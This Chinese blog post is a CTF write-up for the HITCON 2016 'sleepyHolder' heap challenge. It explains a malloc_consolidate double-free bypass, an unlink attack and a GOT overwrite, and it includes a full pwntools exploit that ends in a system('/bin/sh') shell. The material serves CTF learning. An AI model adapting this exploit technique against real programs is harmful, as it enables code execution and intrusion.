首页 > 其他分享 >sleepyHolder_hitcon_2016

sleepyHolder_hitcon_2016

时间:2022-11-04 22:22:41浏览次数:59  
标签:sleepyHolder p64 chunk free hitcon new 2016 fastbin delete

sleepyHolder_hitcon_2016

今天才开通博客,欢迎各位大佬光临>_<

正好今天才做好一个有关unlink的题,(几个月前才学过,由于本人太菜,再加上栈没学好,学过之后就在作栈题,正好zikh师傅说这道题是个有意思的unlink,就在zikh师傅的帮助下做了一下)zikh师傅是一个很强的pwn手他的github链接ZIKH26's Blog

题内容

image-20221104204657445

这道题有三个功能

1、add创造chunk(只能创造三个,且大小分别在fastbin smallbin largebin,且这个largebin大小很大)

2、edit(没有把指针置零,但没有溢出)

3、delete就是一个free

思路

如果你稍微看过ptmalloc源码,你就会发现有一个malloc_consolidate函数,大概功能就是对各个bins进行一个初始化

在这题内我们就是利用如果我们申请一个在所以bin链中找不到合适的,且大于top chunk时,就会调用这个函数对fastbin进行合并并把下一个chunk的prev_inuser置零。再加上这道题在free后并没有把指针置零,所以这道题的思路就是首先触发unlink,在修改got表进行地址和执行system('/bin/sh')

我们可以实现unlink流程如下

1、new(1,'aaaa')

2、new(2.‘bbbb’)

3、free(1)#这时是放进fastbin

4、new(3.‘cccc’)#触发malloc_consolidate,把相邻高地址chunk的perv_inuser指令,把原本处于fastbin中的1放进smallbin

5、free(1)#因为在上步中,我们已经把1从fastbin中放到smallbin中这样就可以绕过连续free掉同一个chunk的检查,检查如下。大概意思就是当你free一个chunk是会检查fastbin中上一个free的chunk是不是这一个

 mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    do
      {
	/* Check that the top of the bin is not the record we are going to add
	   (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  {
	    errstr = "double free or corruption (fasttop)";
	    goto errout;
	  }

6、new(1,‘payload’)#作用就是写入我们伪造的chunk,并改变下一个chunk的perv_inuser

7.delete(2)#触发unlink,之所以先delete(1)在delete(2)是因为在进行脱链是是先检查向低地址合并可行不,在检查是否可以向高地址合并,源码我就不放了,有兴趣的师傅可以去看一下。

调试过程

image-20221104213323675

image-20221104213405390

image-20221104213539759

image-20221104213727967

delete前

image-20221104213952734

delete后

image-20221104214022452

先向这个存放1chunk的地址写入e.got['free']-8,接下来就是通过edit1去修改got 表的got表改成puts的进行泄露地址,然打一个system('/bin/sh')就可以了,具体流程就不写了哈

exp

我这个脚本是用的zikh师傅的工具包,实测好用,想用的可以去看一下zikh师傅的github

from tools import*
p,e,libc=load('a')
context.log_level='debug'

   
def new(type,content):
   p.recvuntil('3. Renew secret\n')
   p.sendline('1')
   
   p.recvuntil('What secret do you want to keep?')
   p.sendline(str(type))
   p.sendafter('Tell me your secret:',content)
 

def edit(type,content):
   
   p.recvuntil('3. Renew secret\n')
   p.sendline('3')
   p.sendlineafter('Which Secret do you want to renew?',str(type))
   p.sendafter('Tell me your secret:',content)

def delete(type):
   p.recvuntil('3. Renew secret\n')
   p.sendline('2')
   p.sendlineafter('Which Secret do you want to wipe?',str(type)) 
 

   

new(1,'a')#
new(2,'b')

delete(1)#fastbin

new(3,'ssss')#trigger malloc_consolidate put fastbin into smallbin 
delete(1)#double free

ptr=0x6020d0
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0x20)

new(1,payload)
debug(p,0x400A56,0x400AAC,0x4009FA,0x400C81,0x400CB7,0x400B8F,0x400BAA,0x400AB1)
delete(2)
payload=b'b'*0x8+p64(e.got['atoi'])*2+p64(e.got['free']-8)
edit(1,payload)
payload=b'/bin/sh\x00'+p64(e.plt['puts'])
edit(1,payload)
delete(2)
atoi_addr=recv_libc()
sys_addr,bin_sh_addr=local_search('atoi',atoi_addr,libc)
edit(1,b'/bin/sh\x00'+p64(sys_addr))

delete(1)
p.interactive()


标签:sleepyHolder,p64,chunk,free,hitcon,new,2016,fastbin,delete
From: https://www.cnblogs.com/trunk/p/16859300.html

相关文章